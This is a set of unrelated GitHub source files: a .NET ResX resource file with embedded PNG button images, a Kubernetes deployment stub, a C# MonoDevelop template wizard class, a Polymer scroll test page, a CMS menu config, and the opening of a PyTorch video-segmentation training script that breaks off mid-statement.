<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button11.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuIB0EURhmBhjKAMMMTWyIqEBEEREBRZCggAGjoUis
iGIhKKhgD0gQUGIwiqioZEbWSnx5ee/l5ffHvd/aZ+9z99l7n7UuACRPHy4vBZYCIJkn4Ad6ONNXhUfQ
sf0ABniAAaYAMFnpqb5B7sFAJC83F3q6yAn8i94MAUj8vmXo6U+ng/9P0qxUvgAAyF/E5mxOOkvE+SJO
yhSkiu0zIqbGJIoZRomZL0pQxHJijlvkpZ99FtlRzOxkHlvE4pxT2clsMfeIeHuGkCNixEfEBRlcTqaI
b4tYM0mYzBXxW3FsMoeZDgCKJLYLOKx4EZuImMQPDnQR8XIAcKS4LzjmCxZwsgTiQ7mkpGbzuXHxArou
S49uam3NoHtyMpM4AoGhP5OVyOSz6S4pyalMXjYA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MThidMEZ1h80zg+6o6dE2wxgFB0tLGdM2wxhVHCMX2dI2wxhVHKs6BbUf
+aJthjHq/vgDe1nRNsMYVRwj/y+wpm2GMao4Rr5lQ9sMY1RxjOykpm2GMUo/3peVXOUgRznJWX4lSYtf
YNR86MBEalnIXGYyvT0/pb0/olfA6ITRCaMTRieMThh9UvUHQ8V0ma2MEK0AAAAASUVORK5CYII=
</value>
</data>
<data name="button10.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuIB0EURhmBhjKAMMMTWyIqEBEEREBRZCggAGjoUis
iGIhKKhgD0gQUGIwiqioZEbWSnx5ee/l5ffHvd/aZ+9z99l7n7UuACRPHy4vBZYCIJkn4Ad6ONNXhUfQ
sf0ABniAAaYAMFnpqb5B7sFAJC83F3q6yAn8i94MAUj8vmXo6U+ng/9P0qxUvgAAyF/E5mxOOkvE+SJO
yhSkiu0zIqbGJIoZRomZL0pQxHJijlvkpZ99FtlRzOxkHlvE4pxT2clsMfeIeHuGkCNixEfEBRlcTqaI
b4tYM0mYzBXxW3FsMoeZDgCKJLYLOKx4EZuImMQPDnQR8XIAcKS4LzjmCxZwsgTiQ7mkpGbzuXHxArou
S49uam3NoHtyMpM4AoGhP5OVyOSz6S4pyalMXjYAi2f+LBlxbemiIluaWltaGpoZmX5RqP+6+Dcl7u0i
vQr43DOI1veH7a/8UuoAYMyKarPrD1vMfgA6tgIgd/8Pm+YhACRFfWu/8cV5aOJ5iRcIUm2MjTMzM424
HJaRuKC/6386/A198T0j8Xa/l4fuyollCpMEdHHdWClJKUI+PT2Vye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kD3bFo1KNCrRqESjEo1KNCrRqOPdBxDGdkIB9+UIAAAAAElF
TkSuQmCC
</value>
</data>
<data name="button9.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuIB0EURhmBhjKAMMMTWyIqEBEEREBRZCggAGjoUis
iGIhKKhgD0gQUGIwiqioZEbWSnx5ee/l5ffHvd/aZ+9z99l7n7UuACRPHy4vBZYCIJkn4Ad6ONNXhUfQ
sf0ABniAAaYAMFnpqb5B7sFAJC83F3q6yAn8i94MAUj8vmXo6U+ng/9P0qxUvgAAyF/E5mxOOkvE+SJO
yhSkiu0zIqbGJIoZRomZL0pQxHJijlvkpZ99FtlRzOxkHlvE4pxT2clsMfeIeHuGkCNixEfEBRlcTqaI
b4tYM0mYzBXxW3FsMoeZDgCKJLYLOKx4EZuImMQPDnQR8XIAcKS4LzjmCxZwsgTiQ7mkpGbzuXHxArou
S49uam3NoHtyMpM4AoGhP5OVyOSz6S4pyalMXjYAi2f+LBlxbemiIluaWltaGpoZmX5RqP+6+Dcl7u0i
vQr43DOI1veH7a/8UuoAYMyKarPrD1vMfgA6tgIgd/8Pm+YhACRFfWu/8cV5aOJ5iRcIUm2MjTMzM424
HJaRuKC/6386/A198T0j8Xa/l4fuyollCpMEdHHdWClJKUI+PT2VyeLQDf88xP848K/zWBrIieXwOTxR
RKhoyri8OFG7eWyugJvCo3N5/6mJ/zDsT1qca5Eo9Z8ANcoISN2gAuTnPoCiEAESeVDc9d/75oMPBeKb
F6Y6sTj3nwX9+65wifiRzo37HOcSGExnCfkZi2viawnQgAAkARXIA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+b+Xfs/
VMZX3qlyrmqtVqreUT13gH1g8KDjwZYa5ZqimveHuIfu1nrUttdp15UfxhzOOPy0PrS+92vG140NCg1F
DR+P8I6MHA082tNo1djYpNRU0gw3C5unjkUeu/mN6zedLYYtta201qLj4Ljw+LNvo78dOuF9ovsk42TL
d1rfVbdR2grbofbs9pmO+I6RzvDOgVMrTnV32Xa1fW/0/ZHTaqerzsieKTlLOJt/duFczrnZ86nnpy/E
XRjrjup+cHHVxds9AT39l7wvXbnsfvlir1PvuSt2V05ftbl66hrjWsd1y+vtfRZ9bT9Y/NDWb9nffsPq
RudN65tdA8sHzg46DF645Xrr8m2v29fvrLwzMBQydHc4cnjkLvvu5L2key/vZ9yff7DpIfph4SOpR+WP
lR7X/aj3Y+uI5ciZUdfRvidBTx6Mscae/5T+04fx/Kfkp+UTqhONk2aTp6fcp24+W/1s/Hnq8/npgp+l
f65+ofviu18cf+mbWTUz/pL/cuHX4lfyr468Xva6e9Z/9vGb5Dfzc4Vv5d8efcd41/s+7P3EfOYH7IeK
j3ofuz55f3q4kLyw8Bv3hPP74uYdwgAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAPNJREFUWEfFz7FtAlEQ
RdEtAQmRehsgpAAwJRgR2AkJPRg7QRg5YhtbSiL4fiMx2TWa6BEcAVeaP0PXWnsqjE4YnTA6YXTC6ITR
CWPqL+NUdvIrZznJz/17tKEfxjnNVmFMWvAuN2kP7Gm2CmPS4/GPY8lBFvIqK1neP9cyodkqjEmPf0sc
EIvjN6LZKoxJj8c/jwPechmh2SqMSY8//YBPiQM2uYzQbBXGpMe/JA7Y5jJCs1UYkx4/ShzwkcsIzVZh
TC+XsdeCfT9cZ9L9h2arMDphdMLohNEJoxNGJ4xOGJ0wOmF0wuiE0QmjE0YnjD6t+wNgeXdyPe3IdwAA
AABJRU5ErkJggg==
</value>
</data>
<data name="button8.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBOR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LNvo78dOuF9ovsk42TL
d1rfVbdR2grbofbs9pmO+I6RzvDOgVMrTnV32Xa1fW/0/ZHTaqerzsieKTlLOJt/duFczrnZ86nnpy/E
XRjrjup+cHHVxds9AT39l7wvXbnsfvlir1PvuSt2V05ftbl66hrjWsd1y+vtfRZ9bT9Y/NDWb9nffsPq
RudN65tdA8sHzg46DF645Xrr8m2v29fvrLwzMBQydHc4cnjkLvvu5L2key/vZ9yff7DpIfph4SOpR+WP
lR7X/aj3Y+uI5ciZUdfRvidBTx6Mscae/5T+04fx/Kfkp+UTqhONk2aTp6fcp24+W/1s/Hnq8/npgp+l
f65+ofviu18cf+mbWTUz/pL/cuHX4lfyr468Xva6e9Z/9vGb5Dfzc4Vv5d8efcd41/s+7P3EfOYH7IeK
j3ofuz55f3q4kLyw8Bv3hPP74uYdwgAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANZJREFUWEfF0qENwkAc
hfFOwAqVGAgLkCIJW2CZgwQQLesQCBMUU2ABHIoZjid65vIFTr2Kn/mSd/+KFiGEQWF0wuiE0QmjE0Yn
jE4Yc5XNbVzW7UYa2fX2cpBatjKlbYQxlx5fy0fCD0faRhhz6fGRTGQpi14lc5nJS660jTDm0uP/tHKh
bYQxV3KMPOVE2whjruQYucuZthHGXMkx0smgH/CQQX/Ct3S0jTDmSo6RlVS0jTA6YXTC6ITRCaMTRieM
ThidMDphdMLohNEJoxNGJ4w+ofgCZh12AZMdss0AAAAASUVORK5CYII=
</value>
</data>
<data name="button6.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuI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rr8m2v29fvrLwzMBQydHc4cnjkLvvu5L2key/vZ9yff7DpIfph4SOpR+WP
lR7X/aj3Y+uI5ciZUdfRvidBTx6Mscae/5T+04fx/Kfkp+UTqhONk2aTp6fcp24+W/1s/Hnq8/npgp+l
f65+ofviu18cf+mbWTUz/pL/cuHX4lfyr468Xva6e9Z/9vGb5Dfzc4Vv5d8efcd41/s+7P3EfOYH7IeK
j3ofuz55f3q4kLyw8Bv3hPP74uYdwgAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAQpJREFUWEfF0TFqQlEQ
hWFBMEkRSJdCSIqU6QPBKsuwsBJ34z6EVClSZA2uwspaJBhIcz0D98J9M6cbORYfvPszMANvVEq5KhqV
aFSiUYlGJRqVaFSiUYlGJRqVaMx4Xm+XsAH7Dvx8CFlP6+0Ciwp89osbPx9CFg6wRR9gR3y1xY2fDyGr
HmBmYEd817f8APMGdsRPa34+hCx3gJmCHbGDVz8/eFxCXeodwY549/ODxyV0S8092OJ9a34+hKy2CO7g
Hw4wri3Mh5BVF93ACX5hUpvsgEf4q25tac/Ph5CFJXOw//7Qlvb8fAhZWPICq35pz8+HoEajEo1KNCrR
qESjEo1KNCrRqFNGZ9qxbGfHP/JnAAAAAElFTkSuQmCC
</value>
</data>
<data name="button5.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuIB0EURhmBhjKAMMMTWyIqEBEEREBRZCggAGjoUis
iGIhKKhgD0gQUGIwiqioZEbWSnx5ee/l5ffHvd/aZ+9z99l7n7UuACRPHy4vBZYCIJkn4Ad6ONNXhUfQ
s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s/Hnq8/npgp+l
f65+ofviu18cf+mbWTUz/pL/cuHX4lfyr468Xva6e9Z/9vGb5Dfzc4Vv5d8efcd41/s+7P3EfOYH7IeK
j3ofuz55f3q4kLyw8Bv3hPP74uYdwgAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAORJREFUWEfF0DEKwlAQ
RdHsJJVaCdZaCu7BLViIBAXFyl4t3IWbsLDMZlzCd0Ym4fO5aZ/FAXMJb4JVSumvMCphVMKohJHU15Y0
ZlG0H9ogGAkcOZoURtF6tEEwkuLA2fjhtXnG74np36ENgpFk4yfjB7dZe0ebdo02CEYSw3vjh3bxnOs+
YubPtEEwEhu9xIGDHxjwMv7OijYIRmKjH/Mw5dGS/xN32iAYSX1rNzY8zg4NWZo5bRCMShiVMCphVMKo
hFEJoxJGJYxKGJUwKmFUwqiEUQmjEkYljEoYlTAqYdRJ1RcLfXgPrZrdoQAAAABJRU5ErkJggg==
</value>
</data>
<data name="button4.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuIB0EURhmBhjKAMMMTWyIqEBEEREBRZCggAGjoUis
iGIhKKhgD0gQUGIwiqioZEbWSnx5ee/l5ffHvd/aZ+9z99l7n7UuACRPHy4vBZYCIJkn4Ad6ONNXhUfQ
sf0ABniAAaYAMFnpqb5B7sFAJC83F3q6yAn8i94MAUj8vmXo6U+ng/9P0qxUvgAAyF/E5mxOOkvE+SJO
yhSkiu0zIqbGJIoZRomZL0pQxHJijlvkpZ99FtlRzOxkHlvE4pxT2clsMfeIeHuGkCNixEfEBRlcTqaI
b4tYM0mY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EOwkAQ
RuEGLAkKXY+Fi4DBoHA4DtIGg8BxDc6wJ0AjqjgDy8yyhSW8IH/El21fycxSxRj/CqMSRiWMShiVMCph
VMKohFEJoxJGJYxKGJUwKmFUwqiEUQmjEkYljEoYlTCSuglbMzX+/MuubsOGZhCMxAbfTTSjtKjNC/18
W+ffNDSDYCQ2dGhuecH46wJNWNnp3/beaQbBSNKy58IuLWrDpGjL3A59oxkEIymW+Xk1/m8HZpafj+lb
RjMIRmILygu4i/HF7pSa+AKuM+fXu+QCnxa2bF4u7tEMglEJoxJGnVg9ANSKeCOHjPEIAAAAAElFTkSu
QmCC
</value>
</data>
<data name="button3.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
bGUAAEjHnZZ3VFTXFofPvXd6oc0w0hl6ky4wgPQuIB0EURhmBhjKAMMMTWyIqEBEEREBRZCggAGjoUis
iGIhKKhgD0gQUGIwiqioZEbWSnx5ee/l5ffHvd/aZ+9z99l7n7UuACRPHy4vBZYCIJkn4Ad6ONNXhUfQ
sf0ABniAAaYAMFnpqb5B7sFAJC83F3q6yAn8i94MAUj8vmXo6U+ng/9P0qxUvgAAyF/E5mxOOkvE+SJO
yhSkiu0zIqbGJIoZRomZL0pQxHJijlvkpZ99FtlRzOxkHlvE4pxT2clsMfeIeHuGkCNixEfEBRlcTqaI
b4tYM0mYzBXxW3FsMoeZDgCKJLYLOKx4EZuImMQPDnQR8XIAcKS4LzjmCxZwsgTiQ7mkpGbzuXHxArou
S49uam3NoHtyMpM4AoGhP5OVyOSz6S4pyalMXjYAi2f+LBlxbemiIluaWltaGpoZmX5RqP+6+Dcl7u0i
vQr43DOI1ve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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA/////////////////////////////////////////////////////////////////////wf/
///////+A/////////4D/////////AH////////8Af////////wB/////////AD////////8AP//////
//wAf////////AB////////8ED////////wYP////////Bgf///////8HB////////wcD////////BwP
///////8Hgf///////weB////////B8D///////8HwP///////wfg////////B+B///////8H8H/////
//wfwP///////B/g///+AAAAH+B///wAAAAf8H//+AAAAB/wP//4AAAAP/g///gAAAB/+B///AB////8
H//+AB////wP//+AB////A///+AB///+B///+AA///4H///+AA///wf////AA///A/////AAf/+D////
/AAf/4H/////AAf/wf/////gAf/A//////gAP+D//////gAP4H//////gAPwf//////wAPA///////wA
GD///////wAAH///////4AAf///////4AB////////4AH////////4Af////////8D/////////8f///
//////////////////////////////////////////////////8=
</value>
</data>
</root>
|
{
"pile_set_name": "Github"
}
|
apiVersion: apps/v1
kind: Deployment
metadata:
name: some-microservice
spec:
template:
spec:
dnsPolicy: "Default"
|
{
"pile_set_name": "Github"
}
|
//
// TemplateWizard.cs
//
// Author:
// Matt Ward <[email protected]>
//
// Copyright (c) 2014 Xamarin Inc. (http://xamarin.com)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
using System;
using System.Collections.Generic;
using System.Linq;
using MonoDevelop.Core;
using MonoDevelop.Core.StringParsing;
using MonoDevelop.Ide.Projects;
using MonoDevelop.Projects;
namespace MonoDevelop.Ide.Templates
{
public abstract class TemplateWizard
{
public abstract string Id { get; }
public abstract WizardPage GetPage (int pageNumber);
public virtual void ConfigureWizard ()
{
}
public virtual int TotalPages {
get { return 1; }
}
public event EventHandler TotalPagesChanged;
protected void OnTotalPagesChanged ()
{
TotalPagesChanged?.Invoke (this, EventArgs.Empty);
}
ProjectCreateParameters parameters;
public ProjectCreateParameters Parameters {
get {
if (parameters == null) {
parameters = new ProjectCreateParameters ();
}
return parameters;
}
set { parameters = value; }
}
List<string> supportedParameters;
internal void UpdateParameters (SolutionTemplate template)
{
Parameters ["TemplateId"] = template.Id;
Parameters ["TemplateName"] = template.Name;
UpdateSupportedParameters (template.SupportedParameters);
UpdateDefaultParameters (template.DefaultParameters);
}
void UpdateSupportedParameters (string parameters)
{
supportedParameters = new List<string> ();
if (!string.IsNullOrEmpty (parameters)) {
foreach (string part in parameters.Split (new [] {',', ';'}, StringSplitOptions.RemoveEmptyEntries)) {
supportedParameters.Add (part.Trim ());
}
}
}
public bool IsSupportedParameter (string name)
{
return supportedParameters.Contains (name);
}
void UpdateDefaultParameters (string parameters)
{
if (String.IsNullOrEmpty (parameters)) {
return;
}
foreach (TemplateParameter parameter in GetValidParameters (parameters)) {
Parameters [parameter.Name] = parameter.Value;
}
}
static IEnumerable<TemplateParameter> GetValidParameters (string parameters)
{
return TemplateParameter.CreateParameters (parameters)
.Where (parameter => parameter.IsValid);
}
public virtual void ItemsCreated (IEnumerable<IWorkspaceFileObject> items)
{
if (!(items.FirstOrDefault () is Solution solution))
return;
CreateMultiProjectStartUp (solution);
}
/// <summary>
/// Adds MultiStartupConfiguration when there are
/// more than one project and one of them is a Backend project
/// </summary>
/// <param name="solution">Solution.</param>
void CreateMultiProjectStartUp (Solution solution)
{
if (Parameters.GetBoolValue ("CreateBackEndProject") != true || Parameters.GetBoolValue ("IncludeBackEndProject") != true)
return;
var config = new MultiItemSolutionRunConfiguration ("multiprojId", GettextCatalog.GetString ("Multiple Projects"));
foreach (var proj in solution.GetAllProjects ()) {
if (!proj.SupportsExecute ())
continue;
var startupItem = new StartupItem (proj, null);
config.Items.Add (startupItem);
}
solution.MultiStartupRunConfigurations.Add (config);
solution.StartupConfiguration = config;
solution.SaveAsync (new ProgressMonitor ()).Ignore ();
}
public virtual IEnumerable<ProjectConfigurationControl> GetFinalPageControls ()
{
return Enumerable.Empty <ProjectConfigurationControl> ();
}
}
}
|
{
"pile_set_name": "Github"
}
|
package flash.utils;
typedef ByteArray = openfl.utils.ByteArray.ByteArrayData;
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<!--
@license
Copyright (c) 2015 The Polymer Project Authors. All rights reserved.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE
The complete set of authors may be found at http://polymer.github.io/AUTHORS
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS
-->
<html>
<head>
<meta charset="UTF-8">
<title>scroll</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<script src="../../../webcomponentsjs/webcomponents-lite.js"></script>
<script src="../../../web-component-tester/browser.js"></script>
<script src="../../../test-fixture/test-fixture-mocha.js"></script>
<link rel="import" href="../../../test-fixture/test-fixture.html">
<link rel="import" href="../../app-header/app-header.html">
<link rel="import" href="../helpers.html">
<style>
#region {
height: 500px;
overflow: hidden;
}
.content {
height: 10000px;
width: 10000px;
}
</style>
</head>
<body>
<div id="region">
<div class="content">
<app-header></app-header>
</div>
</div>
<div class="content"></div>
<script>
suite('Polymer.AppLayout.scroll', function() {
test('document scrolling', function(done) {
var x = 500;
var y = 500;
var region = document.querySelector('#region');
Polymer.AppLayout.scroll({left: x, top: y});
Polymer.Base.async(function() {
assert.equal(window.pageXOffset, x, 'document scrollLeft');
assert.equal(window.pageYOffset, y, 'document scrollTop');
done();
}, 100);
});
test('scrolling region', function(done) {
var x = 500;
var y = 500;
var region = document.querySelector('#region');
Polymer.AppLayout.scroll({left: x, top: y, target: region});
Polymer.Base.async(function() {
assert.equal(region.scrollLeft, x, 'region scrollLeft');
assert.equal(region.scrollTop, y, 'region scrollTop');
done();
}, 100);
});
test('behavior: silent', function(done) {
var header = document.querySelector('app-header');
assert.isFalse(header.disabled);
Polymer.AppLayout.scroll({left: 100, top: 200, behavior: 'silent'});
assert.isTrue(header.hasAttribute('silent-scroll'));
requestAnimationFrame(function() {
assert.isFalse(header.hasAttribute('silent-scroll'));
done();
});
});
test('behavior: smooth', function(done) {
var scrollSpy = sinon.spy();
window.addEventListener('scroll', scrollSpy);
Polymer.AppLayout.scroll({top: 0});
Polymer.AppLayout.scroll({top: 500, behavior: 'smooth'});
window.setTimeout(function() {
assert.isAbove(scrollSpy.callCount, 1, 'scroll top should be fired multiple times');
done();
}, 300);
});
test('smooth scrolling to the top', function(done) {
Polymer.AppLayout.scroll({top: 1000});
Polymer.AppLayout.scroll({top: 0, behavior: 'smooth'});
var timer;
window.addEventListener('scroll', function() {
clearInterval(timer);
timer = setTimeout(function() {
assert.equal(window.pageYOffset, 0, 'document scrollTop');
done();
}, 200);
});
});
});
</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
# == In this configuration, you set up Alchemy's menu names.
#
# For further information please see http://guides.alchemy-cms.com/stable/menus.html
<%- unless @options[:skip_demo_files] -%>
- main_menu
- footer_menu
<%- end -%>
|
{
"pile_set_name": "Github"
}
|
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import os
from datetime import datetime
import socket
import timeit
from tensorboardX import SummaryWriter
import numpy as np
import torch
import torch.optim as optim
from torchvision import transforms
from torch.utils.data import DataLoader
import torch.nn as nn
import imageio
import torch.nn.functional as F
from network.joint_pred_seg import STCNN,FramePredDecoder,FramePredEncoder,SegEncoder,JointSegDecoder
from network.googlenet import Inception3
from dataloaders import custom_transforms as tr
from dataloaders import DAVIS_dataloader as db
from mypath import Path
def main(args):
# # Select which GPU, -1 if CPU
gpu_id = 0
device = torch.device("cuda:"+str(gpu_id) if torch.cuda.is_available() else "cpu")
# # Setting other parameters
resume_epoch = 0 # Default is 0, change if want to resume
nEpochs = 10 # Number of epochs for training (500.000/2079)
batch_size = 1
snapshot = 1 # Store a model every snapshot epochs
pred_lr = 1e-8
seg_lr = 1e-4
lr_D = 1e-4
wd = 5e-4
beta = 0.001
margin = 0.3
updateD = True
updateG = False
num_frame =args.frame_nums
modelName = 'STCNN_frame_'+str(num_frame)
save_dir = Path.save_root_dir()
if not os.path.exists(save_dir):
os.makedirs(os.path.join(save_dir))
save_model_dir = os.path.join(save_dir, modelName)
if not os.path.exists(save_model_dir):
os.makedirs(os.path.join(save_model_dir))
# Network definition
netD = Inception3(num_classes=1, aux_logits=False, transform_input=True)
initialize_netD(netD,os.path.join(save_dir, 'FramePredModels','frame_nums_'+str(num_frame),'NetD_epoch-90.pth'))
seg_enc = SegEncoder()
pred_enc = FramePredEncoder(frame_nums=num_frame)
pred_dec = FramePredDecoder()
j_seg_dec = JointSegDecoder()
if resume_epoch == 0:
initialize_model(pred_enc, seg_enc, pred_dec, j_seg_dec, save_dir,num_frame=num_frame)
net = STCNN(pred_enc, seg_enc, pred_dec, j_seg_dec)
else:
net = STCNN(pred_enc, seg_enc, pred_dec, j_seg_dec)
print("Updating weights from: {}".format(
os.path.join(save_model_dir, modelName + '_epoch-' + str(resume_epoch - 1) + '.pth')))
net.load_state_dict(
